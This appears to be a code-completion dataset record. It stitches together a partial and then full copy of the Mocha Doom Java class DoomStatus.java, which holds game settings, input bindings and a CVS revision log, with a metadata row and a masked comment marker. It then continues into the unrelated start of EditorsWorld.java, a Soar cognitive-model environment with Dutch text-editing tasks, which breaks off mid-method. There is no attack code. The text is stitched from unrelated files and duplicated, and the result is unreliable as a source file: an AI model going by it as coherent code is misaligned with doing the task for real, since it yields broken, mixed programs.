mousearray[1 + i] = value; // allow [-1]
}
protected void mousebuttons(int i, int value) {
mousearray[1 + i] = value != 0; // allow [-1]
}
/** mouse values are used once */
protected int mousex, mousey;
protected int dclicktime;
protected int dclickstate;
protected int dclicks;
protected int dclicktime2, dclickstate2, dclicks2;
/** joystick values are repeated */
protected int joyxmove, joyymove;
protected boolean[] joyarray = new boolean[5];
protected boolean joybuttons(int i) {
return joyarray[1 + i]; // allow [-1]
}
protected void joybuttons(int i, boolean value) {
joyarray[1 + i] = value; // allow [-1]
}
protected void joybuttons(int i, int value) {
joyarray[1 + i] = value != 0; // allow [-1]
}
protected int savegameslot;
protected String savedescription;
protected static final int BODYQUESIZE = 32;
protected mobj_t[] bodyque = new mobj_t[BODYQUESIZE];
public String statcopy; // for statistics driver
/** Not documented/used in linuxdoom. I supposed it could be used to
* ignore mouse input?
*/
public boolean use_mouse,use_joystick;
/** More prBoom+ stuff. Used mostly for code uhm..reuse, rather
* than to actually change the way stuff works.
*
*/
public static int compatibility_level;
public final ConfigManager CM = Engine.getConfig();
public DoomStatus() {
this.wminfo=new wbstartstruct_t();
initNetGameStuff();
}
public void update() {
this.snd_SfxVolume = CM.getValue(Settings.sfx_volume, Integer.class);
this.snd_MusicVolume = CM.getValue(Settings.music_volume, Integer.class);
this.alwaysrun = CM.equals(Settings.alwaysrun, Boolean.TRUE);
// Keys...
this.key_right = CM.getValue(Settings.key_right, Integer.class);
this.key_left = CM.getValue(Settings.key_left, Integer.class);
this.key_up = CM.getValue(Settings.key_up, Integer.class);
this.key_down = CM.getValue(Settings.key_down, Integer.class);
this.key_strafeleft = CM.getValue(Settings.key_strafeleft, Integer.class);
this.key_straferight = CM.getValue(Settings.key_straferight, Integer.class);
this.key_fire = CM.getValue(Settings.key_fire, Integer.class);
this.key_use = CM.getValue(Settings.key_use, Integer.class);
this.key_strafe = CM.getValue(Settings.key_strafe, Integer.class);
this.key_speed = CM.getValue(Settings.key_speed, Integer.class);
// Mouse buttons
this.use_mouse = CM.equals(Settings.use_mouse, 1);
this.mousebfire = CM.getValue(Settings.mouseb_fire, Integer.class);
this.mousebstrafe = CM.getValue(Settings.mouseb_strafe, Integer.class);
this.mousebforward = CM.getValue(Settings.mouseb_forward, Integer.class);
// Joystick
this.use_joystick = CM.equals(Settings.use_joystick, 1);
this.joybfire = CM.getValue(Settings.joyb_fire, Integer.class);
this.joybstrafe = CM.getValue(Settings.joyb_strafe, Integer.class);
this.joybuse = CM.getValue(Settings.joyb_use, Integer.class);
this.joybspeed = CM.getValue(Settings.joyb_speed, Integer.class);
// Sound
this.numChannels = CM.getValue(Settings.snd_channels, Integer.class);
// Map strobe
this.mapstrobe = CM.equals(Settings.vestrobe, Boolean.TRUE);
// Mouse sensitivity
this.mouseSensitivity = CM.getValue(Settings.mouse_sensitivity, Integer.class);
// This should indicate keyboard behavior should be as close as possible to vanilla
this.vanillaKeyBehavior = CM.equals(Settings.vanilla_key_behavior, Boolean.TRUE);
}
public void commit() {
CM.update(Settings.sfx_volume, this.snd_SfxVolume);
CM.update(Settings.music_volume, this.snd_MusicVolume);
CM.update(Settings.alwaysrun, this.alwaysrun);
// Keys...
CM.update(Settings.key_right, this.key_right);
CM.update(Settings.key_left, this.key_left);
CM.update(Settings.key_up, this.key_up);
CM.update(Settings.key_down, this.key_down);
CM.update(Settings.key_strafeleft, this.key_strafeleft);
CM.update(Settings.key_straferight, this.key_straferight);
CM.update(Settings.key_fire, this.key_fire);
CM.update(Settings.key_use, this.key_use);
CM.update(Settings.key_strafe, this.key_strafe);
CM.update(Settings.key_speed, this.key_speed);
// Mouse buttons
CM.update(Settings.use_mouse, this.use_mouse ? 1 : 0);
CM.update(Settings.mouseb_fire, this.mousebfire);
CM.update(Settings.mouseb_strafe, this.mousebstrafe);
CM.update(Settings.mouseb_forward, this.mousebforward);
// Joystick
CM.update(Settings.use_joystick, this.use_joystick ? 1 : 0);
CM.update(Settings.joyb_fire, this.joybfire);
CM.update(Settings.joyb_strafe, this.joybstrafe);
CM.update(Settings.joyb_use, this.joybuse);
CM.update(Settings.joyb_speed, this.joybspeed);
// Sound
CM.update(Settings.snd_channels, this.numChannels);
// Map strobe
CM.update(Settings.vestrobe, this.mapstrobe);
// Mouse sensitivity
CM.update(Settings.mouse_sensitivity, this.mouseSensitivity);
}
}
// $Log: DoomStatus.java,v $
// Revision 1.36 2012/11/06 16:04:58 velktron
// Variables manager less tightly integrated.
//
// Revision 1.35 2012/09/24 17:16:22 velktron
// Massive merge between HiColor and HEAD. There's no difference from now on, and development continues on HEAD.
//
// Revision 1.34.2.3 2012/09/24 16:58:06 velktron
// TrueColor, Generics.
//
// Revision 1.34.2.2 2012/09/20 14:25:13 velktron
// Unified DOOM!!!
//
// Revision 1.34.2.1 2012/09/17 16:06:52 velktron
// Now handling updates of all variables, though those specific to some subsystems should probably be moved???
//
// Revision 1.34 2011/11/01 23:48:10 velktron
// Added tnthom stuff.
//
// Revision 1.33 2011/10/24 02:11:27 velktron
// Stream compliancy
//
// Revision 1.32 2011/10/07 16:01:16 velktron
// Added freelook stuff, using Keys.
//
// Revision 1.31 2011/09/27 16:01:41 velktron
// -complevel_t
//
// Revision 1.30 2011/09/27 15:54:51 velktron
// Added some more prBoom+ stuff.
//
// Revision 1.29 2011/07/28 17:07:04 velktron
// Added always run hack.
//
// Revision 1.28 2011/07/16 10:57:50 velktron
// Merged finnw's changes for enabling polling of ?_LOCK keys.
//
// Revision 1.27 2011/06/14 20:59:47 velktron
// Channel settings now read from default.cfg. Changes in sound creation order.
//
// Revision 1.26 2011/06/04 11:04:25 velktron
// Fixed registered/ultimate identification.
//
// Revision 1.25 2011/06/01 17:35:56 velktron
// Techdemo v1.4a level. Default novert and experimental mochaevents interface.
//
// Revision 1.24 2011/06/01 00:37:58 velktron
// Changed default keys to WASD.
//
// Revision 1.23 2011/05/31 21:45:51 velktron
// Added XBLA version as explicitly supported.
//
// Revision 1.22 2011/05/30 15:50:42 velktron
// Changed to work with new Abstract classes
//
// Revision 1.21 2011/05/26 17:52:11 velktron
// Now using ICommandLineManager
//
// Revision 1.20 2011/05/26 13:39:52 velktron
// Now using ICommandLineManager
//
// Revision 1.19 2011/05/25 17:56:52 velktron
// Introduced some fixes for mousebuttons etc.
//
// Revision 1.18 2011/05/24 17:44:37 velktron
// usemouse added for defaults
// | AXDOOMER/mochadoom | src/doom/DoomStatus.java | 6,588 | // Depending on view size - no status bar? | line_comment | nl | package doom;
import static data.Defines.*;
import static data.Limits.*;
import data.mapthing_t;
import defines.*;
import demo.IDoomDemo;
import f.Finale;
import static g.Signals.ScanCode.*;
import java.io.OutputStreamWriter;
import java.util.Arrays;
import java.util.stream.Stream;
import m.Settings;
import mochadoom.Engine;
import p.mobj_t;
/**
* We need globally shared data structures, for defining the global state
* variables. MAES: in pure OO style, this should be a global "Doom state"
* object to be passed along various modules. No ugly globals here!!! Now, some
* of the variables that appear here were actually defined in separate modules.
* Pretty much, whatever needs to be shared with other modules was placed here,
* either as a local definition, or as an extern share. The very least, I'll
* document where everything is supposed to come from/reside.
*/
public abstract class DoomStatus<T,V> {
public static final int BGCOLOR= 7;
public static final int FGCOLOR =8;
public static int RESENDCOUNT =10;
public static int PL_DRONE =0x80; // bit flag in doomdata->player
public String[] wadfiles=new String[MAXWADFILES];
boolean drone;
/** Command line parametersm, actually defined in d_main.c */
public boolean nomonsters; // checkparm of -nomonsters
public boolean respawnparm; // checkparm of -respawn
public boolean fastparm; // checkparm of -fast
public boolean devparm; // DEBUG: launched with -devparm
// MAES: declared as "extern", shared with Menu.java
public boolean inhelpscreens;
boolean advancedemo;
/////////// Local to doomstat.c ////////////
// TODO: hide those behind getters
/** Game Mode - identify IWAD as shareware, retail etc.
* This is now hidden behind getters so some cases like plutonia
* etc. can be handled more cleanly.
* */
private GameMode gamemode;
public void setGameMode(GameMode mode){
this.gamemode=mode;
}
public GameMode getGameMode(){
return gamemode;
}
public boolean isShareware(){
return (gamemode== GameMode.shareware);
}
/** Commercial means Doom 2, Plutonia, TNT, and possibly others like XBLA.
*
* @return
*/
public boolean isCommercial(){
return (gamemode== GameMode.commercial ||
gamemode== GameMode.pack_plut ||
gamemode== GameMode.pack_tnt ||
gamemode== GameMode.pack_xbla ||
gamemode== GameMode.freedoom2 ||
gamemode== GameMode.freedm);
}
/** Retail means Ultimate.
*
* @return
*/
public boolean isRetail(){
return (gamemode== GameMode.retail || gamemode == GameMode.freedoom1 );
}
/** Registered is a subset of Ultimate
*
* @return
*/
public boolean isRegistered(){
return (gamemode== GameMode.registered || gamemode== GameMode.retail || gamemode == GameMode.freedoom1 );
}
public GameMission_t gamemission;
/** Language. */
public Language_t language;
// /////////// Normally found in d_main.c ///////////////
// Selected skill type, map etc.
/** Defaults for menu, methinks. */
public skill_t startskill;
public int startepisode;
public int startmap;
public boolean autostart;
/** Selected by user */
public skill_t gameskill;
public int gameepisode;
public int gamemap;
/** Nightmare mode flag, single player. */
public boolean respawnmonsters;
/** Netgame? Only true if >1 player. */
public boolean netgame;
/**
* Flag: true only if started as net deathmatch. An enum might handle
* altdeath/cooperative better. Use altdeath for the "2" value
*/
public boolean deathmatch;
/** Use this instead of "deathmatch=2" which is bullshit. */
public boolean altdeath;
//////////// STUFF SHARED WITH THE RENDERER ///////////////
// -------------------------
// Status flags for refresh.
//
public boolean nodrawers;
public boolean noblit;
public boolean viewactive;
// Player taking events, and displaying.
public int consoleplayer;
public int displayplayer;
// Depending on<SUF>
// Note that there is no way to disable the
// status bar explicitely.
public boolean statusbaractive;
public boolean automapactive; // In AutoMap mode?
public boolean menuactive; // Menu overlayed?
public boolean mousecaptured = true;
public boolean paused; // Game Pause?
// -------------------------
// Internal parameters for sound rendering.
// These have been taken from the DOS version,
// but are not (yet) supported with Linux
// (e.g. no sound volume adjustment with menu.
// These are not used, but should be (menu).
// From m_menu.c:
// Sound FX volume has default, 0 - 15
// Music volume has default, 0 - 15
// These are multiplied by 8.
/** maximum volume for sound */
public int snd_SfxVolume;
/** maximum volume for music */
public int snd_MusicVolume;
/** Maximum number of sound channels */
public int numChannels;
// Current music/sfx card - index useless
// w/o a reference LUT in a sound module.
// Ideally, this would use indices found
// in: /usr/include/linux/soundcard.h
public int snd_MusicDevice;
public int snd_SfxDevice;
// Config file? Same disclaimer as above.
public int snd_DesiredMusicDevice;
public int snd_DesiredSfxDevice;
// -------------------------------------
// Scores, rating.
// Statistics on a given map, for intermission.
//
public int totalkills;
public int totalitems;
public int totalsecret;
/** TNTHOM "cheat" for flashing HOM-detecting BG */
public boolean flashing_hom;
// Added for prBoom+ code
public int totallive;
// Timer, for scores.
public int levelstarttic; // gametic at level start
public int leveltime; // tics in game play for par
// --------------------------------------
// DEMO playback/recording related stuff.
// No demo, there is a human player in charge?
// Disable save/end game?
public boolean usergame;
// ?
public boolean demoplayback;
public boolean demorecording;
// Quit after playing a demo from cmdline.
public boolean singledemo;
public boolean mapstrobe;
/**
* Set this to GS_DEMOSCREEN upon init, else it will be null
* Good Sign at 2017/03/21: I hope it is no longer true info, since I've checked its assignment by NetBeans
*/
public gamestate_t gamestate = gamestate_t.GS_DEMOSCREEN;
// -----------------------------
// Internal parameters, fixed.
// These are set by the engine, and not changed
// according to user inputs. Partly load from
// WAD, partly set at startup time.
public int gametic;
// Alive? Disconnected?
public boolean[] playeringame = new boolean[MAXPLAYERS];
public mapthing_t[] deathmatchstarts = new mapthing_t[MAX_DM_STARTS];
/** pointer into deathmatchstarts */
public int deathmatch_p;
/** Player spawn spots. */
public mapthing_t[] playerstarts = new mapthing_t[MAXPLAYERS];
/** Intermission stats.
Parameters for world map / intermission. */
public wbstartstruct_t wminfo;
/** LUT of ammunition limits for each kind.
This doubles with BackPack powerup item.
NOTE: this "maxammo" is treated like a global.
*/
public final static int[] maxammo = {200, 50, 300, 50};
// -----------------------------------------
// Internal parameters, used for engine.
//
// File handling stuff.
public OutputStreamWriter debugfile;
// if true, load all graphics at level load
public boolean precache;
// wipegamestate can be set to -1
// to force a wipe on the next draw
// wipegamestate can be set to -1 to force a wipe on the next draw
public gamestate_t wipegamestate = gamestate_t.GS_DEMOSCREEN;
public int mouseSensitivity = 5; // AX: Fix wrong defaut mouseSensitivity
/** Set if homebrew PWAD stuff has been added. */
public boolean modifiedgame = false;
/** debug flag to cancel adaptiveness set to true during timedemos. */
public boolean singletics = false;
/* A "fastdemo" is a demo with a clock that tics as
* fast as possible, yet it maintains adaptiveness and doesn't
* try to render everything at all costs.
*/
protected boolean fastdemo;
protected boolean normaldemo;
protected String loaddemo = null;
public int bodyqueslot;
// Needed to store the number of the dummy sky flat.
// Used for rendering,
// as well as tracking projectiles etc.
//public int skyflatnum;
// TODO: Netgame stuff (buffers and pointers, i.e. indices).
// TODO: This is ???
public doomcom_t doomcom;
// TODO: This points inside doomcom.
public doomdata_t netbuffer;
public ticcmd_t[] localcmds = new ticcmd_t[BACKUPTICS];
public int rndindex;
public ticcmd_t[][] netcmds;// [MAXPLAYERS][BACKUPTICS];
/** MAES: this WAS NOT in the original.
* Remember to call it!
*/
protected final void initNetGameStuff() {
//this.netbuffer = new doomdata_t();
this.doomcom = new doomcom_t();
this.netcmds = new ticcmd_t[MAXPLAYERS][BACKUPTICS];
Arrays.setAll(localcmds, i -> new ticcmd_t());
for (int i = 0; i < MAXPLAYERS; i++) {
Arrays.setAll(netcmds[i], j -> new ticcmd_t());
}
}
// Fields used for selecting variable BPP implementations.
protected abstract Finale<T> selectFinale();
// MAES: Fields specific to DoomGame. A lot of them were
// duplicated/externalized
// in d_game.c and d_game.h, so it makes sense adopting a more unified
// approach.
protected gameaction_t gameaction=gameaction_t.ga_nothing;
public boolean sendpause; // send a pause event next tic
protected boolean sendsave; // send a save event next tic
protected int starttime;
protected boolean timingdemo; // if true, exit with report on completion
public boolean getPaused() {
return paused;
}
public void setPaused(boolean paused) {
this.paused = paused;
}
// ////////// DEMO SPECIFIC STUFF/////////////
protected String demoname;
protected boolean netdemo;
//protected IDemoTicCmd[] demobuffer;
protected IDoomDemo demobuffer;
/** pointers */
// USELESS protected int demo_p;
// USELESS protected int demoend;
protected short[][] consistancy = new short[MAXPLAYERS][BACKUPTICS];
protected byte[] savebuffer;
/* TODO Proper reconfigurable controls. Defaults hardcoded for now. T3h h4x, d00d. */
public int key_right = SC_NUMKEY6.ordinal();
public int key_left = SC_NUMKEY4.ordinal();
public int key_up = SC_W.ordinal();
public int key_down = SC_S.ordinal();
public int key_strafeleft = SC_A.ordinal();
public int key_straferight = SC_D.ordinal();
public int key_fire = SC_LCTRL.ordinal();
public int key_use = SC_SPACE.ordinal();
public int key_strafe = SC_LALT.ordinal();
public int key_speed = SC_RSHIFT.ordinal();
public boolean vanillaKeyBehavior;
public int key_recordstop = SC_Q.ordinal();
public int[] key_numbers = Stream.of(SC_1, SC_2, SC_3, SC_4, SC_5, SC_6, SC_7, SC_8, SC_9, SC_0)
.mapToInt(Enum::ordinal).toArray();
// Heretic stuff
public int key_lookup = SC_PGUP.ordinal();
public int key_lookdown = SC_PGDOWN.ordinal();
public int key_lookcenter = SC_END.ordinal();
public int mousebfire = 0;
public int mousebstrafe = 2; // AX: Fixed - Now we use the right mouse buttons
public int mousebforward = 1; // AX: Fixed - Now we use the right mouse buttons
public int joybfire;
public int joybstrafe;
public int joybuse;
public int joybspeed;
/** Cancel vertical mouse movement by default */
protected boolean novert=false; // AX: The good default
protected int MAXPLMOVE() {
return forwardmove[1];
}
protected static final int TURBOTHRESHOLD = 0x32;
/** fixed_t */
protected final int[] forwardmove = { 0x19, 0x32 }; // + slow turn
protected final int[] sidemove = { 0x18, 0x28 };
protected final int[] angleturn = { 640, 1280, 320 };
protected static final int SLOWTURNTICS = 6;
protected static final int NUMKEYS = 256;
protected boolean[] gamekeydown = new boolean[NUMKEYS];
protected boolean keysCleared;
public boolean alwaysrun;
protected int turnheld; // for accelerative turning
protected int lookheld; // for accelerative looking?
protected boolean[] mousearray = new boolean[4];
/** This is an alias for mousearray [1+i] */
protected boolean mousebuttons(int i) {
return mousearray[1 + i]; // allow [-1]
}
protected void mousebuttons(int i, boolean value) {
mousearray[1 + i] = value; // allow [-1]
}
protected void mousebuttons(int i, int value) {
mousearray[1 + i] = value != 0; // allow [-1]
}
/** mouse values are used once */
protected int mousex, mousey;
protected int dclicktime;
protected int dclickstate;
protected int dclicks;
protected int dclicktime2, dclickstate2, dclicks2;
/** joystick values are repeated */
protected int joyxmove, joyymove;
protected boolean[] joyarray = new boolean[5];
protected boolean joybuttons(int i) {
return joyarray[1 + i]; // allow [-1]
}
protected void joybuttons(int i, boolean value) {
joyarray[1 + i] = value; // allow [-1]
}
protected void joybuttons(int i, int value) {
joyarray[1 + i] = value != 0; // allow [-1]
}
protected int savegameslot;
protected String savedescription;
protected static final int BODYQUESIZE = 32;
protected mobj_t[] bodyque = new mobj_t[BODYQUESIZE];
public String statcopy; // for statistics driver
/** Not documented/used in linuxdoom. I supposed it could be used to
* ignore mouse input?
*/
public boolean use_mouse,use_joystick;
/** More prBoom+ stuff. Used mostly for code uhm..reuse, rather
* than to actually change the way stuff works.
*
*/
public static int compatibility_level;
public final ConfigManager CM = Engine.getConfig();
public DoomStatus() {
this.wminfo=new wbstartstruct_t();
initNetGameStuff();
}
public void update() {
this.snd_SfxVolume = CM.getValue(Settings.sfx_volume, Integer.class);
this.snd_MusicVolume = CM.getValue(Settings.music_volume, Integer.class);
this.alwaysrun = CM.equals(Settings.alwaysrun, Boolean.TRUE);
// Keys...
this.key_right = CM.getValue(Settings.key_right, Integer.class);
this.key_left = CM.getValue(Settings.key_left, Integer.class);
this.key_up = CM.getValue(Settings.key_up, Integer.class);
this.key_down = CM.getValue(Settings.key_down, Integer.class);
this.key_strafeleft = CM.getValue(Settings.key_strafeleft, Integer.class);
this.key_straferight = CM.getValue(Settings.key_straferight, Integer.class);
this.key_fire = CM.getValue(Settings.key_fire, Integer.class);
this.key_use = CM.getValue(Settings.key_use, Integer.class);
this.key_strafe = CM.getValue(Settings.key_strafe, Integer.class);
this.key_speed = CM.getValue(Settings.key_speed, Integer.class);
// Mouse buttons
this.use_mouse = CM.equals(Settings.use_mouse, 1);
this.mousebfire = CM.getValue(Settings.mouseb_fire, Integer.class);
this.mousebstrafe = CM.getValue(Settings.mouseb_strafe, Integer.class);
this.mousebforward = CM.getValue(Settings.mouseb_forward, Integer.class);
// Joystick
this.use_joystick = CM.equals(Settings.use_joystick, 1);
this.joybfire = CM.getValue(Settings.joyb_fire, Integer.class);
this.joybstrafe = CM.getValue(Settings.joyb_strafe, Integer.class);
this.joybuse = CM.getValue(Settings.joyb_use, Integer.class);
this.joybspeed = CM.getValue(Settings.joyb_speed, Integer.class);
// Sound
this.numChannels = CM.getValue(Settings.snd_channels, Integer.class);
// Map strobe
this.mapstrobe = CM.equals(Settings.vestrobe, Boolean.TRUE);
// Mouse sensitivity
this.mouseSensitivity = CM.getValue(Settings.mouse_sensitivity, Integer.class);
// This should indicate keyboard behavior should be as close as possible to vanilla
this.vanillaKeyBehavior = CM.equals(Settings.vanilla_key_behavior, Boolean.TRUE);
}
public void commit() {
CM.update(Settings.sfx_volume, this.snd_SfxVolume);
CM.update(Settings.music_volume, this.snd_MusicVolume);
CM.update(Settings.alwaysrun, this.alwaysrun);
// Keys...
CM.update(Settings.key_right, this.key_right);
CM.update(Settings.key_left, this.key_left);
CM.update(Settings.key_up, this.key_up);
CM.update(Settings.key_down, this.key_down);
CM.update(Settings.key_strafeleft, this.key_strafeleft);
CM.update(Settings.key_straferight, this.key_straferight);
CM.update(Settings.key_fire, this.key_fire);
CM.update(Settings.key_use, this.key_use);
CM.update(Settings.key_strafe, this.key_strafe);
CM.update(Settings.key_speed, this.key_speed);
// Mouse buttons
CM.update(Settings.use_mouse, this.use_mouse ? 1 : 0);
CM.update(Settings.mouseb_fire, this.mousebfire);
CM.update(Settings.mouseb_strafe, this.mousebstrafe);
CM.update(Settings.mouseb_forward, this.mousebforward);
// Joystick
CM.update(Settings.use_joystick, this.use_joystick ? 1 : 0);
CM.update(Settings.joyb_fire, this.joybfire);
CM.update(Settings.joyb_strafe, this.joybstrafe);
CM.update(Settings.joyb_use, this.joybuse);
CM.update(Settings.joyb_speed, this.joybspeed);
// Sound
CM.update(Settings.snd_channels, this.numChannels);
// Map strobe
CM.update(Settings.vestrobe, this.mapstrobe);
// Mouse sensitivity
CM.update(Settings.mouse_sensitivity, this.mouseSensitivity);
}
}
// $Log: DoomStatus.java,v $
// Revision 1.36 2012/11/06 16:04:58 velktron
// Variables manager less tightly integrated.
//
// Revision 1.35 2012/09/24 17:16:22 velktron
// Massive merge between HiColor and HEAD. There's no difference from now on, and development continues on HEAD.
//
// Revision 1.34.2.3 2012/09/24 16:58:06 velktron
// TrueColor, Generics.
//
// Revision 1.34.2.2 2012/09/20 14:25:13 velktron
// Unified DOOM!!!
//
// Revision 1.34.2.1 2012/09/17 16:06:52 velktron
// Now handling updates of all variables, though those specific to some subsystems should probably be moved???
//
// Revision 1.34 2011/11/01 23:48:10 velktron
// Added tnthom stuff.
//
// Revision 1.33 2011/10/24 02:11:27 velktron
// Stream compliancy
//
// Revision 1.32 2011/10/07 16:01:16 velktron
// Added freelook stuff, using Keys.
//
// Revision 1.31 2011/09/27 16:01:41 velktron
// -complevel_t
//
// Revision 1.30 2011/09/27 15:54:51 velktron
// Added some more prBoom+ stuff.
//
// Revision 1.29 2011/07/28 17:07:04 velktron
// Added always run hack.
//
// Revision 1.28 2011/07/16 10:57:50 velktron
// Merged finnw's changes for enabling polling of ?_LOCK keys.
//
// Revision 1.27 2011/06/14 20:59:47 velktron
// Channel settings now read from default.cfg. Changes in sound creation order.
//
// Revision 1.26 2011/06/04 11:04:25 velktron
// Fixed registered/ultimate identification.
//
// Revision 1.25 2011/06/01 17:35:56 velktron
// Techdemo v1.4a level. Default novert and experimental mochaevents interface.
//
// Revision 1.24 2011/06/01 00:37:58 velktron
// Changed default keys to WASD.
//
// Revision 1.23 2011/05/31 21:45:51 velktron
// Added XBLA version as explicitly supported.
//
// Revision 1.22 2011/05/30 15:50:42 velktron
// Changed to work with new Abstract classes
//
// Revision 1.21 2011/05/26 17:52:11 velktron
// Now using ICommandLineManager
//
// Revision 1.20 2011/05/26 13:39:52 velktron
// Now using ICommandLineManager
//
// Revision 1.19 2011/05/25 17:56:52 velktron
// Introduced some fixes for mousebuttons etc.
//
// Revision 1.18 2011/05/24 17:44:37 velktron
// usemouse added for defaults
// |
18061_9 | package edu.umich.eecs.soar.props.editors;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedList;
import java.util.List;
import edu.umich.eecs.soar.propsutil.LearnConfig;
import edu.umich.eecs.soar.propsutil.PROPsEnvironment;
public class EditorsWorld extends PROPsEnvironment {
private static double STD_MOTOR_TIME = 0.25,
STD_VISUAL_TIME = 0.25;
private ETask ed_task;
private Report rep;
//private int task_count; // The index of edit_tasks to use next
private String task_name;
private List<ArrayList<String[]>> edit_tasks;
private String[] numbers;
public boolean inDebug = false;
EditorsWorld() {
String proj_dir = "/home/bryan/Documents/GitHub_Bryan-Stearns/PROPs/domains/editors/";
String props_dir = "/home/bryan/Documents/GitHub_Bryan-Stearns/PROPs/PROPsAgent/";
this.setAgentName("EditorsAgent");
this.setPropsDir(props_dir);
this.setCondChunkFile(proj_dir + "editors_agent_condspread_chunks.soar");
this.setAddressChunkFile(proj_dir + "editors_agent_L1_chunks.soar");
this.setFetchSeqFile(proj_dir + "editors_agent_fetch_procedures.soar");
this.setInstructionsFile(proj_dir + "editors_agent_instructions.soar");
this.setSoarAgentFile(proj_dir + "editors_agent.soar");
this.setIOSize(4, 3);
this.setUserAgentFiles(Arrays.asList("/home/bryan/Documents/GitHub_Bryan-Stearns/PROPs/domains/lib_actransfer_interface.soar",
proj_dir + "editors_agent_smem.soar"));
this.edit_tasks = new LinkedList<ArrayList<String[]>>();
this.edit_tasks.add(new ArrayList<String[]>(6));
edit_tasks.get(0).add(new String[]{"replace-word", "vader", "moeder", "one"});
edit_tasks.get(0).add(new String[]{"insert-word", "inhoud", "nieuwe", "three"});
edit_tasks.get(0).add(new String[]{"delete-word", "slome", "", "five"});
edit_tasks.get(0).add(new String[]{"replace-line", "ebooks en sociale medi", "electronisch boeken en andere vormen van sociale media", "eight"});
edit_tasks.get(0).add(new String[]{"delete-line", "of the rings trilogie", "", "fifteen"});
edit_tasks.get(0).add(new String[]{"insert-line", "Oscar of niet Rowling zal er niet om rouwen want de buit is al binnen", "net zo groot als tien jaar geleden", "eighteen"});
this.edit_tasks.add(new ArrayList<String[]>(6));
edit_tasks.get(1).add(new String[]{"insert-word", "pers", "muskieten", "two"});
edit_tasks.get(1).add(new String[]{"replace-line", "fans mochten een blik op de inhoud werpen onder voorwaarde van strikte geheimhouding", "fans hadden de gelegenheid om alvast een kijkje te nemen", "three"});
edit_tasks.get(1).add(new String[]{"replace-word", "medi", "media", "eight"});
edit_tasks.get(1).add(new String[]{"delete-word", "eindelijk", "", "fourteen"});
edit_tasks.get(1).add(new String[]{"delete-line", "We all know what happened in the end but", "", "sixteen"});
edit_tasks.get(1).add(new String[]{"insert-line", "kassucces De spanning is daarom groot dit jaar", "succes Het zal Roling waarschijnlijk een worst wezen", "seventeen"});
this.edit_tasks.add(new ArrayList<String[]>(6));
edit_tasks.get(2).add(new String[]{"replace-line", "Geestelijk vader van de tovenaarsleerling JK Rowling lanceert morgen de site pottermorecom", "Wederom is het tijd voor een nieuwe website over harry potter maar deze keer van Rowling zelf", "one"});
edit_tasks.get(2).add(new String[]{"insert-word", "paar", "klein", "two"});
edit_tasks.get(2).add(new String[]{"delete-word", "nieuwe", "", "five"});
edit_tasks.get(2).add(new String[]{"delete-line", "Op dit moment staat de laatste film in de serie op het punt om in de bioscoop", "", "twelve"});
edit_tasks.get(2).add(new String[]{"replace-word", "Oscar", "prijs", "thirteen"});
edit_tasks.get(2).add(new String[]{"insert-line", "kassucces De spanning is daarom groot dit jaar", "And here we have another meaningless line that makes this text een more unreadable", "seventeen"});
numbers = new String[]{"one", "two", "three", "four", "five", "six", "seven", "eight", "nine", "ten",
"eleven", "twelve", "thirteen", "fourteen", "fifteen", "sixteen", "seventeen", "eighteen", "nineteen", "twenty"};
}
public void runEditorsDebug(String task, int taskNum, LearnConfig config) {
String taskSeq = task + "_" + (taskNum+1);
task_name = task;
//task_count = taskNum;
inDebug = true;
this.runDebug(task, taskSeq, config);
inDebug = false;
}
private int getEditTaskIndex(String taskSeq) {
if (taskSeq.contains("_1")) {
return 0;
}
else if (taskSeq.contains("_2")) {
return 1;
}
else if (taskSeq.contains("_3")) {
return 2;
}
else return -1; // Error, shouldn't happen
}
// Helper functions specifically for the Editors environment
private void determine_v() {
List<String> L = ed_task.text.get(ed_task.line_pos);
String line = numbers[ed_task.line_pos];
String word;
if (L.size() <= ed_task.cursor_pos)
word = "eol";
else
word = ed_task.text.get(ed_task.line_pos).get(ed_task.cursor_pos);
ed_task.set_vlist("word", word, "nil", line);
}
private List<String> substitute_insert(String old_element, String new_element, List<String> l) {
if (l == null || l.size() == 0)
return l;
return new LinkedList<String>(Arrays.asList(String.join(" ", l).replaceFirst(old_element, new_element).split("\\s+")));
}
@Override
protected void user_outputListener(List<String> outputs) {
// Get the output
String action = outputs.get(0);
String val2 = outputs.get(1);
String val3 = outputs.get(2);
double latency = 0.05;
// Generate the corresponding input
int iTemp;
String sTemp;
List<String> temp;
switch (rep.state) {
case "ll-noread":
if (action.equals("read-instruction")) {
rep.state = "ll";
rep.task = ed_task.edits.get(0)[0];
}
else {
System.out.println("Something went wrong...");
}
break;
case "ll":
if (action.equals("number-p") || action.equals("enter") || action.equals("t-word")) {
rep.ll = System.nanoTime() - rep.strt;
rep.state = "ll-motor";
}
if (action.equals("read-instruction") && ed_task.edits.get(0)[3].equals(numbers[ed_task.line_pos])) {
if (rep.state.equals("ll")) {
rep.ll = System.nanoTime()-rep.strt;
rep.state = "mt";
rep.temp = System.nanoTime();
}
}
break;
case "ll-motor":
if (action.equals("read-instruction")) {
rep.state = "mt";
rep.temp = System.nanoTime();
}
break;
case "mt":
temp = new ArrayList<String>(Arrays.asList("substitute-ed", "substitute-edt", "insert-ed", "insert-edt",
"period-d", "type-text", "type-text-enter", "d", "control-k", "control-k-twice", "esc-d"));
if (temp.contains(action)) {
rep.state = "mt-motor";
rep.mt = System.nanoTime() - rep.temp;
}
break;
case "mt-motor":
if (action.equals("next-instruction")) {
rep.state = "ll";
//rep.addLatency(STD_VISUAL_TIME); // Could move latency for 'next-instruction' here so it ends up in the report, but Taatgen doesn't?
this.addReport(rep.toString());
if (ed_task.edits.size() <= 1)
rep.task = "nil";
else
rep.task = ed_task.edits.get(1)[0];
rep.strt = System.nanoTime();
rep.latencies = 0.0;
}
break;
case "end":
break; // Do nothing (not in original lisp code - never gets called anyway)
}
switch (action) {
case "enter": case "control-n":
ed_task.line_pos++;
ed_task.cursor_pos = 0;
latency = (action.equals("enter")) ? (STD_MOTOR_TIME + STD_VISUAL_TIME) : STD_MOTOR_TIME;
determine_v();
break;
case "esc-f": case "move-attention-right":
latency = (action.equals("esc-f")) ? (2.0 * STD_MOTOR_TIME) : STD_VISUAL_TIME;
ed_task.cursor_pos++;
determine_v();
break;
case "read-screen":
determine_v();
latency = STD_VISUAL_TIME;
break;
case "read-instruction":
ed_task.set_vlist(ed_task.edits.get(0));
latency = STD_VISUAL_TIME;
break;
case "next-instruction":
if (ed_task.edits.size() == 0)
break; // end
ed_task.edits.remove(0);
if (ed_task.edits.size() > 0) {
ed_task.set_vlist(ed_task.edits.get(0));
}
else {
ed_task.set_vlist("end", "end2", "end3", "end4");
rep.state = "end";
}
